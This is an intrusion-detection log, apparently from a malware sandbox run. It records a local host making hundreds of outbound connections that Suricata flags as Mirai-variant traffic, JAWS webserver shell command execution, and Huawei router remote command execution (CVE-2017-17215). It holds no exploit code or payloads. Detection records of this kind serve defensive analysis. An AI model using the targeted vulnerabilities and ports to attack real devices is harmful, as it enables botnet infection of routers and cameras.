Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:53112 -> 107.209.39.169:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60980 -> 149.218.144.175:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:60980 -> 149.218.144.175:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37194 -> 118.159.189.29:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37194 -> 118.159.189.29:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34820 -> 156.232.11.104:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53856 -> 184.27.73.98:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:53856 -> 184.27.73.98:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59770 -> 23.174.63.21:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:59770 -> 23.174.63.21:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60546 -> 88.151.11.104:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:60546 -> 88.151.11.104:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53848 -> 197.7.134.150:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39564 -> 198.200.38.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:39564 -> 198.200.38.184:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49922 -> 41.175.131.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54916 -> 197.128.24.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37994 -> 156.229.55.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49540 -> 41.220.233.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49130 -> 156.242.224.209:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53556 -> 38.199.147.182:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:53556 -> 38.199.147.182:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40130 -> 197.132.40.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56562 -> 41.182.70.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45200 -> 197.49.199.148:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:40792 -> 19.186.177.83:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:40792 -> 19.186.177.83:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47258 -> 191.71.162.219:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44044 -> 156.64.87.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44110 -> 156.58.77.185:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:47258 -> 191.71.162.219:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35762 -> 197.112.77.190:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:50644 -> 167.80.67.59:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:50644 -> 167.80.67.59:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:46086 -> 160.116.38.154:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:46086 -> 160.116.38.154:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57124 -> 41.72.218.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46538 -> 156.229.176.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47552 -> 156.141.101.219:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57274 -> 154.179.240.225:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:57274 -> 154.179.240.225:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54932 -> 196.192.115.255:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:54932 -> 196.192.115.255:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56562 -> 41.214.12.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49940 -> 156.108.75.55:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38054 -> 102.228.238.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:38054 -> 102.228.238.136:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59402 -> 197.199.121.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51950 -> 156.139.201.209:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47698 -> 125.253.31.3:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51310 -> 86.6.121.248:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:47698 -> 125.253.31.3:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51310 -> 86.6.121.248:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38462 -> 41.86.194.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39302 -> 41.56.98.126:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:50742 -> 186.171.85.18:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:50742 -> 186.171.85.18:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35934 -> 197.169.104.42:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51812 -> 169.129.160.250:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51812 -> 169.129.160.250:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49294 -> 172.222.47.240:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49294 -> 172.222.47.240:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46624 -> 197.88.39.234:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:55374 -> 122.134.154.13:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:55374 -> 122.134.154.13:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50230 -> 197.10.74.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43238 -> 156.211.32.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55356 -> 197.45.188.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33226 -> 156.95.107.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39660 -> 197.236.132.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48668 -> 156.59.131.59:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:35174 -> 148.26.74.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:35174 -> 148.26.74.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:34234 -> 105.76.238.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:34234 -> 105.76.238.137:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55152 -> 41.177.65.72:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:43754 -> 75.150.125.115:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51856 -> 183.180.216.81:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51856 -> 183.180.216.81:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48552 -> 197.25.242.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59136 -> 197.12.237.90:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33486 -> 156.219.91.159:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:43754 -> 75.150.125.115:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44760 -> 67.218.1.210:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:44760 -> 67.218.1.210:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37260 -> 143.189.106.192:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:48586 -> 60.208.214.47:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37260 -> 143.189.106.192:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44712 -> 156.29.43.93:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47904 -> 41.224.51.164:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59012 -> 157.253.86.180:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48322 -> 197.125.8.61:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47744 -> 17.149.159.4:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36922 -> 166.179.233.91:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40850 -> 156.153.54.149:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:59012 -> 157.253.86.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:47744 -> 17.149.159.4:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47658 -> 132.86.162.206:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58906 -> 156.195.230.243:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:47658 -> 132.86.162.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:36922 -> 166.179.233.91:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47546 -> 220.83.51.33:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:47546 -> 220.83.51.33:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:42640 -> 2.208.165.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:42640 -> 2.208.165.87:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49834 -> 95.145.163.29:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49834 -> 95.145.163.29:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59016 -> 156.195.220.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:32792 -> 41.108.229.87:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45484 -> 41.182.67.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41266 -> 41.148.147.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51530 -> 197.59.249.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33532 -> 41.146.88.94:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:48586 -> 60.208.214.47:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57548 -> 91.43.249.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:57548 -> 91.43.249.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:40042 -> 166.131.190.80:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:40042 -> 166.131.190.80:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35080 -> 156.233.138.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36918 -> 41.172.233.144:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44432 -> 92.178.11.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:44432 -> 92.178.11.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36312 -> 203.249.13.96:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:36312 -> 203.249.13.96:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51538 -> 41.177.145.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37312 -> 197.54.31.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44434 -> 156.20.37.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49584 -> 197.222.141.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43788 -> 41.252.167.172:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:58112 -> 48.250.215.171:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:58112 -> 48.250.215.171:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:43054 -> 188.234.143.250:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39636 -> 72.145.72.193:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:39636 -> 72.145.72.193:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:43054 -> 188.234.143.250:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:58414 -> 165.35.35.169:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:58414 -> 165.35.35.169:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41164 -> 1.166.123.153:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39838 -> 95.67.170.147:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:39838 -> 95.67.170.147:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41514 -> 161.107.166.33:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:41514 -> 161.107.166.33:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53592 -> 156.224.24.81:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:41164 -> 1.166.123.153:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41010 -> 70.180.28.131:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:41010 -> 70.180.28.131:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:34570 -> 113.255.83.238:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:34570 -> 113.255.83.238:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52564 -> 197.184.139.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54868 -> 197.196.5.50:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38472 -> 5.252.142.147:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:46638 -> 188.148.5.67:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34728 -> 41.82.207.46:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:38472 -> 5.252.142.147:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:46638 -> 188.148.5.67:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:42380 -> 104.36.217.230:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:42380 -> 104.36.217.230:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:43882 -> 143.206.192.80:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:43882 -> 143.206.192.80:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59460 -> 41.232.203.93:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51862 -> 197.203.83.162:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49444 -> 110.68.47.188:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42836 -> 197.113.138.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48754 -> 41.254.75.15:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37248 -> 158.69.164.161:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37248 -> 158.69.164.161:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:33470 -> 65.210.246.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36182 -> 131.92.77.249:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57244 -> 197.100.220.57:37215
